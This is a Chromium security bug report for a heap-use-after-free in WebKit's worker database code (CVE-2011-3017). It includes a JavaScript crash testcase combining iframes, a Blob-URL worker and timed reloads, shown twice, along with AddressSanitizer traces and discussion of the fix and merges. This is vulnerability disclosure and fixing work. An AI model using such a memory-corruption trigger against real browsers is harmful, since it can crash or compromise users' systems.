New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Last visit > 30 days ago
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-use-after-free in WebKit::WebFrameImpl::viewImpl

Reported by miau...@gmail.com, Dec 27 2011

Issue description



VULNERABILITY DETAILS
use-after-free with iframes, workers, and database transaction

VERSION
Chrome Version: 

Chromium	18.0.983.0 (Developer Build 115770)
OS	Linux
WebKit	535.15 (@103658)
JavaScript	V8 3.8.2.1

Operating System: ubuntu 64bit

REPRODUCTION CASE

<script>
  setTimeout("location.reload()",100)
  function crash() {
    var bb = new window.WebKitBlobBuilder()
    bb.append("var db = openDatabaseSync('','','',1); postMessage('bye')")
    var blobUrl = window.webkitURL.createObjectURL(bb.getBlob())
    new Worker(blobUrl)
  }
  function crash2() {
    var f = document.createElement("iframe");
    f.src = location;
    document.body.appendChild(f);
    document.body.appendChild(f.cloneNode(true));
  }
  if (parent == window) {
    onload=crash2 
    } else {
    onload=crash
  }
</script>

http schema required because of worker.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer (worker) 
Crash State: 

==28576== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffe5b90180 at pc 0x555558ff9bbb bp 0x7fffffffa740 sp 0x7fffffffa738
READ of size 8 at 0x7fffe5b90180 thread T0
    #0 0x555558ff9bbb in WebKit::WebFrameImpl::viewImpl() const ???:0
    #1 0x55555910f313 in non-virtual thunk to WebKit::WebWorkerClientImpl::allowDatabase(WebKit::WebFrame*, WebKit::WebString const&, WebKit::WebString const&, unsigned long) ???:0

0x7fffe5b90180 is located 256 bytes inside of 392-byte region [0x7fffe5b90080,0x7fffe5b90208)
freed by thread T0 here:
    #0 0x55555cf555e4 in free ??:0
    #1 0x55555a211b96 in WebCore::FrameLoader::~FrameLoader() ???:0
    #2 0x55555a36246e in WebCore::Frame::~Frame() ???:0
    #3 0x55555a371009 in WebCore::FrameView::~FrameView() ???:0


 
256392.html
547 bytes View Download
asan256392.txt
8.4 KB View Download
vg-256392.txt
10.8 KB View Download

Comment 1 by palmer@chromium.org, Dec 27 2011

Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-None OS-All SecSeverity-High
Status: Available
Repro'd on ToT Mac and Linux. Can't get a crash on 16 beta.

Comment 2 by palmer@chromium.org, Dec 27 2011

Labels: Mstone-18
Labels: -SecImpacts-None -Mstone-18 SecImpacts-Beta Mstone-17
It might affect the upcoming m17 beta, keeping m17 for now.
Cc: levin@chromium.org
Owner: dslomov@chromium.org
Status: Assigned
Summary: Use-after-free with iframes, workers, and database transaction
Dmitry, can you please check if this regressed from your recent worker related changes.

I am thinking if this is caused by the rollout of your patch in 

[103658]: Unreviewed, rolling out r103619. http://trac.webkit.org/changeset/103619 ...
... (WebKit::WebSharedWorkerImpl::newCommonClient): * src/WebWorkerBase.cpp: (WebKit::initializeWebKitStaticValues): (WebKit::WebWorkerBase::WebWorkerBase): (WebKit::WebWorkerBase::~WebWorkerBase): (WebKit::WebWorkerBase::stopWorkerThread): (WebKit::WebWorkerBase::initializeLoader): (WebKit::WebWo ...
By rniwa@webkit.org — 12/24/2011 11:26:09
[103619]: Source/WebKit/chromium: [WebWorkers][Chromium] Remove remains of ...
... wWebCommonWorkerClient renamed to WebCommonWorkerClient - WebWorkerBase merged into WebSharedWorkerImpl - NewWebWorkerBase renamed into WebWorkerBase WebWorkerClient.h has a "#define WebWorkerClient WebSharedWorkerClient" to keep chromium building. Will be removed after coordinated patch in chro ...
By dslomov@google.com — 12/23/2011 02:59:01
Labels: Stability-AddressSanitizer
Summary: Heap-use-after-free in WebWorkerClientImpl::allowDatabase

Comment 6 Deleted

r103658 (rollout of r103619) is highly unlikely to cause this
Labels: reward-topanel
@dslomov @levin: this security bug is getting pretty old.
It also looks like we're about to ship a security regression to Chrome 17, which is unfortunate.
If neither of you is actively pushing this forward, would you be so kind as to find a new owner as a priority? We desire to fix this security regression in one of the Chrome 17 patches.
I am sorry for the delay, I'll get the fix in ASAP.
I bet this is fixed with http://trac.webkit.org/changeset/102894

Dave, why do you think so?
(looks like this was reported on M18 way after that changeset came in)
My bad. I confused it with another issue that looked similar (which was fixed with that patch).
Hmm I cannot reproduce this on a provided script either in current chrome or in 18.0.1025.3 dev. 
Cannot repro on current beta (M17) as well..
Were you testing with an ASAN build? There's a good chance the provided test case will need to be run under ASAN to consistently reproduce.
Is there a significant value in trying ASAN build vs. running chrome under valgrind?
(I tried the latter and couldn't see the bug). Any chance ASAN build will expose what valgrind does not?

Comment 18 by kcc@chromium.org, Feb 8 2012

Both valgrind and asan find use-after-free bugs. 
However, there are subtle differences which may cause one tools to find a particular bug and another tool to miss it. 

The main difference is speed. asan is multi-threaded and fast, which causes a very different execution flow than under valgrind. If a use-after-free is caused by a race, this may be important. 

Also, valgrind has smaller quarantine for free-ed memory (iirc).
Reproduced on asan - very cool.
Since the race is between reload and worker start, one need a very low reload timeout in the repro - I tried 50 yesterday to no avail, and today I set it to 30 and got a fairly reliable repro.
kcc@ and members of compiler team - thank you for excellent tools!
Summary: Heap-use-after-free in WebKit::WebFrameImpl::viewImpl
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=19509059

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7fdc907ef5a0
Crash State:
  - crash stack -
  WebKit::WebFrameImpl::viewImpl
  non-virtual thunk to WebKit::WebWorkerClientImpl::allowDatabase
  - free stack -
  WebCore::FrameLoader::~FrameLoader
  WebCore::Frame::~Frame
  

Minimized Testcase (0.50 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv94Z2Y8PCRm7sa1Xaj20s46Z9FuB3OO8Bp3Ay6F2LkKqyTTf6PdjqKDr_wblr0S5OA7qE_UM9NA_wa5Fngz_jKHFuXc2xLxqQV68FUdCm9d37rWfUjZo9NBGMQ5j1fhJORNHNWmxjnveJRBYaS2u3Y681PDM8w
<script>
  setTimeout("location.reload()",30)
  function crash() {
    var bb = new window.WebKitBlobBuilder()
    bb.append("var db = openDatabaseSync('','','',1); postMessage('bye')")
    var blobUrl = window.webkitURL.createObjectURL(bb.getBlob())
    new Worker(blobUrl)
  }
  function crash2() {
    var f = document.createElement("iframe");
    f.src = location;
    document.body.appendChild(f.cloneNode(true));
  }
  if (parent == window) {
    onload=crash2 
    } else {
    onload=crash
  }
</script>
Labels: SecImpacts-Stable
Status: Started
Patch in webkit commit queue
Whoops forgot that webkit cq does not process sec bugs, will land directly
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/107174
Do you want me to merge or will security team handle the merge?
Wow, thanks for the fast fix after the nag :)
We'd be delighted to handling the merging for you. I've got to put together a M17 patch 1 soon and I'll take care of the merge then.
Cc: dslomov@chromium.org
Owner: scarybea...@gmail.com
np, I should have got this in earlier.
Hmm it looks like we will also need to merge into M18. Who is doing that? (I can - let me know)
We will do everything, m18, m17 patch :)
You are awesome, what can I say :)
I doubt this issue repro's in Chrome 17. I suspect it is fallout from my change to make abort work correctly in Workers which was only in Chrome 18 (and why we didn't catch this until December because it only appeared in December).

However, I can't say that with 100% certainty for all of the fixes done in this patch -- some of which are similar places that the test case didn't expose.

fwiw, this is the patch http://trac.webkit.org/changeset/102473 that made abort function correctly which I referred to above.
it crashes chrome 17 stable asan on clusterfuzz. problem is crash stack was flaky, so we know testcase crashes on m17, but cant confirm that it does with same stack.
Thanks inferno! I'm continually wrong in this bug :).

Labels: -Merge-Approved Merge-Merged
M17: http://trac.webkit.org/changeset/107408
M18: http://trac.webkit.org/changeset/107409

I also couldn't get the repros (as pasted into this bug) to fire on M17, but merged / tested the area to be safe.

I'm in two minds as to whether to declare this as a stable-affecting bug in the release notes. It won't affect the inevitable reward :D
FWIW, I've only ever seen the failure in ASAN build.
Labels: CVE-2011-3017
Labels: -reward-topanel reward-1000 reward-unpaid
@miaubiz: thanks. And $1000 etc. I merged the fix to stable "just in case", to be released soon.

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: -reward-unpaid

Comment 42 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 43 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 44 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecImpacts-Beta -SecSeverity-High -Mstone-17 -Stability-AddressSanitizer -SecImpacts-Stable Security-Impact-Stable Cr-Content Security-Impact-Beta Security-Severity-High Type-Bug-Security M-17 Performance-Memory-AddressSanitizer
Project Member

Comment 45 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 46 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 48 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 49 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 50 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 51 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 52 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 53 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 54 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 55 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment